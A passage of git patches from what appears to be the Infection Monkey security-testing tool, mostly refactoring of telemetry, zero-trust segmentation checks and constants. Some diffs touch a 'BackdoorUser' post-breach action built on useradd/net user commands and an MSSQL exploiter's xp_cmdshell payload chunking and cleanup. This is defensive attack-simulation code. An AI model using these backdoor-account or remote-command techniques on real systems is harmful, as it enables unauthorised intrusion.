{'pba_results': telemetry_json['data']}}) + + if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) From 36ad6fc4416b8df75902ce47eb559fd58e84ca54 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:08:04 +0300 Subject: [PATCH 192/276] Revert "Added post breach processing dict and extracted consts to common" This reverts commit 98764f0291d43e2450f90f1ff82013e2b7304456. --- monkey/common/data/post_breach_consts.py | 2 -- .../infection_monkey/post_breach/actions/add_user.py | 5 ++--- .../post_breach/actions/users_custom_pba.py | 3 +-- .../cc/services/telemetry/processing/post_breach.py | 10 ---------- 4 files changed, 3 insertions(+), 17 deletions(-) delete mode 100644 monkey/common/data/post_breach_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py deleted file mode 100644 index 8262757ca..000000000 --- a/monkey/common/data/post_breach_consts.py +++ /dev/null @@ -1,2 +0,0 @@ -POST_BREACH_BACKDOOR_USER = "Backdoor user" -POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ce05371a6..ff7ae3a50 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,9 +1,8 @@ import datetime - -from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration + __author__ = 'danielg' LINUX_COMMANDS = ['useradd', '-M', '--expiredate', @@ -17,6 +16,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, + super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=' '.join(LINUX_COMMANDS), windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 468a2b29b..a388813ab 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,7 +1,6 @@ import os import logging -from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.utils import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient @@ -28,7 +27,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) + super(UsersPBA, self).__init__("File execution") self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 2515c2d30..b086d5ff4 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,17 +1,7 @@ from monkey_island.cc.database import mongo -from common.data.post_breach_consts import * - -POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { - # `lambda *args, **kwargs: None` is a no-op. - POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, - POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, -} def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, {'$push': {'pba_results': telemetry_json['data']}}) - - if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: - POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) From 30b74675a5e9d02f9b69727a44a988af28a7221b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:08:52 +0300 Subject: [PATCH 193/276] Revert "Revert "Added post breach processing dict and extracted consts to common"" This reverts commit 36ad6fc4416b8df75902ce47eb559fd58e84ca54. --- monkey/common/data/post_breach_consts.py | 2 ++ .../infection_monkey/post_breach/actions/add_user.py | 5 +++-- .../post_breach/actions/users_custom_pba.py | 3 ++- .../cc/services/telemetry/processing/post_breach.py | 10 ++++++++++ 4 files changed, 17 insertions(+), 3 deletions(-) create mode 100644 monkey/common/data/post_breach_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py new file mode 100644 index 000000000..8262757ca --- /dev/null +++ b/monkey/common/data/post_breach_consts.py @@ -0,0 +1,2 @@ +POST_BREACH_BACKDOOR_USER = "Backdoor user" +POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ff7ae3a50..ce05371a6 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,8 +1,9 @@ import datetime + +from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration - __author__ = 'danielg' LINUX_COMMANDS = ['useradd', '-M', '--expiredate', @@ -16,6 +17,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__("Backdoor user", + super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(LINUX_COMMANDS), windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..468a2b29b 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,6 +1,7 @@ import os import logging +from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.utils import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient @@ -27,7 +28,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index b086d5ff4..2515c2d30 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,7 +1,17 @@ from monkey_island.cc.database import mongo +from common.data.post_breach_consts import * + +POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + # `lambda *args, **kwargs: None` is a no-op. + POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, + POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, +} def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, {'$push': {'pba_results': telemetry_json['data']}}) + + if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) From faf6da15bb55f7417635dd37cb2a65276e74680c Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:20:52 +0300 Subject: [PATCH 194/276] Improved doc, refactored names and added test case for segmentation_utils CR --- monkey/common/network/segmentation_utils.py | 9 +++++++-- .../common/network/segmentation_utils_test.py | 17 ++++++++++++++--- 2 files changed, 21 insertions(+), 5 deletions(-) diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 6569d636b..aeff7f135 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -11,8 +11,13 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): return get_ip_if_in_subnet(ip_addresses, source_subnet) -def get_ip_if_in_subnet(ip_addresses, source_subnet): +def get_ip_if_in_subnet(ip_addresses, subnet): + """ + :param ip_addresses: IP address list. + :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet. + """ for ip_address in ip_addresses: - if source_subnet.is_in_range(ip_address): + if subnet.is_in_range(ip_address): return ip_address return None diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py index 7ef3e4450..56a560922 100644 --- a/monkey/common/network/segmentation_utils_test.py +++ b/monkey/common/network/segmentation_utils_test.py @@ -8,12 +8,23 @@ class TestSegmentationUtils(IslandTestCase): self.fail_if_not_testing_env() source = CidrRange("1.1.1.0/24") target = CidrRange("2.2.2.0/24") - self.assertIsNone(get_ip_in_src_and_not_in_dst( - [text_type("2.2.2.2")], source, target - )) + + # IP not in both self.assertIsNone(get_ip_in_src_and_not_in_dst( [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target )) + + # IP not in source, in target + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("2.2.2.2")], source, target + )) + + # IP in source, not in target self.assertIsNotNone(get_ip_in_src_and_not_in_dst( [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target )) + + # IP in both subnets + self.assertIsNone(get_ip_in_src_and_not_in_dst( + [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source + )) From 9fc2bf886d7f9c68b1e17eac0c432c8f2eed7efb Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:00:10 +0300 Subject: [PATCH 195/276] Extracted ES_SERVICE to const CR --- monkey/common/data/network_consts.py | 2 ++ monkey/infection_monkey/exploit/elasticgroovy.py | 3 ++- monkey/infection_monkey/network/elasticfinger.py | 2 +- .../cc/services/telemetry/zero_trust_tests/data_endpoints.py | 3 ++- 4 files changed, 7 insertions(+), 3 deletions(-) create mode 100644 monkey/common/data/network_consts.py diff --git a/monkey/common/data/network_consts.py b/monkey/common/data/network_consts.py new file mode 100644 index 000000000..5fc9d6d8a --- /dev/null +++ b/monkey/common/data/network_consts.py @@ -0,0 +1,2 @@ +ES_SERVICE = 'elastic-search-9200' + diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..690b5e348 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,8 @@ import requests from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT -from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE +from infection_monkey.network.elasticfinger import ES_PORT +from common.data.network_consts import ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 31ce6e24a..aaac09be2 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,11 +6,11 @@ import requests from requests.exceptions import Timeout, ConnectionError import infection_monkey.config +from common.data.network_consts import ES_SERVICE from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger ES_PORT = 9200 -ES_SERVICE = 'elastic-search-9200' ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) __author__ = 'danielg' diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 65d044b19..a11f7694a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,5 +1,6 @@ import json +from common.data.network_consts import ES_SERVICE from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event @@ -42,7 +43,7 @@ def test_open_data_endpoints(telemetry_json): ), event_type=EVENT_TYPE_ISLAND )) - if service_name in 'elastic-search-9200': + if service_name == ES_SERVICE: found_elastic_search_server = STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", From 107ac73366670f3f5c74c2ccca8c2ae56e8ca53d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:00:57 +0300 Subject: [PATCH 196/276] Improved documentation of create_ir_add_to_existing_finding --- .../cc/models/zero_trust/segmentation_finding.py | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 716548453..32a450f57 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -15,15 +15,9 @@ class SegmentationFinding(Finding): @staticmethod def create_or_add_to_existing_finding(subnets, status, segmentation_event): """ - If you're trying to add a Failed finding: - If the finding doesn't exist at all: create failed - else: - if pass, turn to fail - add event - - If you're trying to add a Passed finding: - If the finding doesn't exist at all: create Passed - else: add event + Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the + event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will + remain so). :param subnets: the 2 subnets of this finding. :param status: STATUS_PASSED or STATUS_FAILED From 2d7829ca4b90e4607700eba3c3001b401434df50 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:05:57 +0300 Subject: [PATCH 197/276] Split test_machine_exploited into 2 functions --- .../zero_trust_tests/machine_exploited.py | 27 +++++++++++-------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d4f8c53c1..7da763dd8 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -6,39 +6,44 @@ from monkey_island.cc.models.zero_trust.finding import Finding def test_machine_exploited(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + exploiter = telemetry_json['data']['exploiter'] + timestamp = telemetry_json['timestamp'] + exploit_successful = telemetry_json['data']['result'] + + create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp) + + +def create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", message="Monkey on {} attempted to exploit {} using {}.".format( current_monkey.hostname, - telemetry_json['data']['machine']['ip_addr'], - telemetry_json['data']['exploiter']), + target_ip, + exploiter), event_type=EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json['timestamp'] + timestamp=timestamp ) ] - status = STATUS_PASSED - - if telemetry_json['data']['result']: + if exploit_successful: events.append( Event.create_event( title="Exploit success!", message="Monkey on {} successfully exploited {} using {}.".format( current_monkey.hostname, - telemetry_json['data']['machine']['ip_addr'], - telemetry_json['data']['exploiter']), + target_ip, + exploiter), event_type=EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json['timestamp']) + timestamp=timestamp) ) status = STATUS_FAILED - Finding.save_finding( test=TEST_MACHINE_EXPLOITED, status=status, events=events ) - Finding.save_finding( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, From 2269e788883b1d428dda4dbe31e1af2e198145d4 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:37:26 +0300 Subject: [PATCH 198/276] Added docs for is_segmentation_violation --- .../services/telemetry/zero_trust_tests/segmentation.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 763c46b2f..1742bbea7 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -16,6 +16,15 @@ SEGMENTATION_VIOLATION_EVENT_TEXT = \ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + # type: (Monkey, str, str, str) -> bool + """ + Checks is a specific communication is a segmentation violation. + :param current_monkey: The source monkey which originated the communication. + :param target_ip: The target with which the current monkey communicated with. + :param source_subnet: The segment the monkey belongs to. + :param target_subnet: Another segment which the monkey isn't supposed to communicate with. + :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + """ if source_subnet == target_subnet: return False source_subnet_range = NetworkRange.get_range_obj(source_subnet) From b733cf3389481cde1d16de7b20a3f81df0725144 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 2 Sep 2019 08:37:52 +0000 Subject: [PATCH 199/276] Changed tmp dir path on mssql exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 12 +++++------- .../exploit/tools/payload_parsing.py | 13 +++++++++---- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4d6749ba5..c26954090 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,6 @@ from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_tar build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload -import infection_monkey.utils LOG = logging.getLogger(__name__) @@ -28,7 +27,7 @@ class MSSQLExploiter(HostExploiter): # Temporary file that saves commands for monkey's download and execution. TMP_FILE_NAME = 'tmp_monkey.bat' - TMP_DIR_PATH = "C:\\windows\\temp\\monkey_dir" + TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 @@ -110,11 +109,10 @@ class MSSQLExploiter(HostExploiter): self.run_file(tmp_file_path) # Remove temporary dir we stored payload at - if not infection_monkey.utils.get_monkey_dir_path() == MSSQLExploiter.TMP_DIR_PATH.lower(): - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del /f %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) + self.try_to_run_mssql_command(tmp_file_removal_command) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + self.try_to_run_mssql_command(tmp_dir_removal_command) return True diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index e7596f11f..a02071333 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -19,7 +19,12 @@ class Payload(object): self.prefix = prefix self.suffix = suffix - def get_full_payload(self, command=""): + def get_payload(self, command=""): + """ + Returns prefixed and suffixed command (full payload) + :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :return: prefixed and suffixed command (full payload) + """ if not command: command = self.command return "{}{}{}".format(self.prefix, command, self.suffix) @@ -50,10 +55,10 @@ class LimitedSizePayload(Payload): return False elif self.command == "": return [self.prefix+self.suffix] - - commands = [self.get_full_payload(part) + wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) + commands = [self.get_payload(part) for part - in textwrap.wrap(self.command, self.get_max_sub_payload_length())] + in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): From fec0791c7bc3f285465f6f1ced6ede3311cf5449 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:40:22 +0300 Subject: [PATCH 200/276] Moved JSON parsing to exploit.py --- .../cc/services/telemetry/processing/exploit.py | 11 +++++++++-- .../telemetry/zero_trust_tests/machine_exploited.py | 13 +------------ 2 files changed, 10 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 7464722f9..cf6e9b544 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,6 +4,7 @@ import dateutil from monkey_island.cc.database import mongo from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry @@ -11,11 +12,17 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited impo def process_exploit_telemetry(telemetry_json): - edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) encrypt_exploit_creds(telemetry_json) + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_edge_info_with_new_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) - test_machine_exploited(telemetry_json) + + test_machine_exploited( + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), + exploit_successful=telemetry_json['data']['result'], + exploiter=telemetry_json['data']['exploiter'], + target_ip=telemetry_json['data']['machine']['ip_addr'], + timestamp=telemetry_json['timestamp']) def update_node_credentials_from_successful_attempts(edge, telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 7da763dd8..dba16470f 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,20 +1,9 @@ from common.data.zero_trust_consts import * -from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding -def test_machine_exploited(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - target_ip = telemetry_json['data']['machine']['ip_addr'] - exploiter = telemetry_json['data']['exploiter'] - timestamp = telemetry_json['timestamp'] - exploit_successful = telemetry_json['data']['result'] - - create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp) - - -def create_findings_from_exploit_data(current_monkey, exploit_successful, exploiter, target_ip, timestamp): +def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", From a330dc1bb7f389b76664aa0ab8e2aac76769bd23 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 11:46:42 +0300 Subject: [PATCH 201/276] Extracted json parsing to scan.py --- .../monkey_island/cc/services/telemetry/processing/scan.py | 6 +++++- .../cc/services/telemetry/zero_trust_tests/segmentation.py | 4 +--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 8ae386388..bea451170 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,6 +1,7 @@ import copy from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation @@ -9,7 +10,10 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import te def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) test_open_data_endpoints(telemetry_json) - test_segmentation_violation(telemetry_json) + + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + test_segmentation_violation(current_monkey, target_ip) def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 1742bbea7..a30884ef5 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -39,11 +39,9 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s return cross_segment_ip is not None -def test_segmentation_violation(scan_telemetry_json): +def test_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. # TODO - single machine - current_monkey = Monkey.get_single_monkey_by_guid(scan_telemetry_json['monkey_guid']) - target_ip = scan_telemetry_json['data']['machine']['ip_addr'] subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: subnet_pairs = itertools.product(subnet_group, subnet_group) From 54873957979e4fce55416bf8beedaf52394fa187 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 12:32:00 +0300 Subject: [PATCH 202/276] Moved JSON parsing to state.py --- .../monkey_island/cc/services/telemetry/processing/state.py | 4 +++- .../cc/services/telemetry/zero_trust_tests/segmentation.py | 4 +--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index f6461dd3f..4e164e900 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -1,3 +1,4 @@ +from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ test_passed_findings_for_unreached_segments @@ -12,4 +13,5 @@ def process_state_telemetry(telemetry_json): NodeService.set_monkey_dead(monkey, False) if telemetry_json['data']['done']: - test_passed_findings_for_unreached_segments(telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + test_passed_findings_for_unreached_segments(current_monkey) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index a30884ef5..a10b89262 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -41,7 +41,6 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s def test_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. - # TODO - single machine subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: subnet_pairs = itertools.product(subnet_group, subnet_group) @@ -71,9 +70,8 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_passed_findings_for_unreached_segments(state_telemetry_json): +def test_passed_findings_for_unreached_segments(current_monkey): flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] - current_monkey = Monkey.get_single_monkey_by_guid(state_telemetry_json['monkey_guid']) create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) From 02cd1ad684690a1455f0c6e33a7761c735c95fbc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 14:43:39 +0300 Subject: [PATCH 203/276] Extracted event text and creation to function --- .../zero_trust_tests/segmentation.py | 58 ++++++++++--------- 1 file changed, 32 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index a10b89262..552192c23 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -10,11 +10,31 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ + "from `{src_seg}` segments to `{dst_seg}` segments." + SEGMENTATION_VIOLATION_EVENT_TEXT = \ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ "managed to communicate cross segment to {target_ip} (in segment {target_seg})." +def test_segmentation_violation(current_monkey, target_ip): + # TODO - lower code duplication between this and report.py. + subnet_groups = get_config_network_segments_as_subnet_groups() + for subnet_group in subnet_groups: + subnet_pairs = itertools.product(subnet_group, subnet_group) + for subnet_pair in subnet_pairs: + source_subnet = subnet_pair[0] + target_subnet = subnet_pair[1] + if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): + event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) + SegmentationFinding.create_or_add_to_existing_finding( + subnets=[source_subnet, target_subnet], + status=STATUS_FAILED, + segmentation_event=event + ) + + def 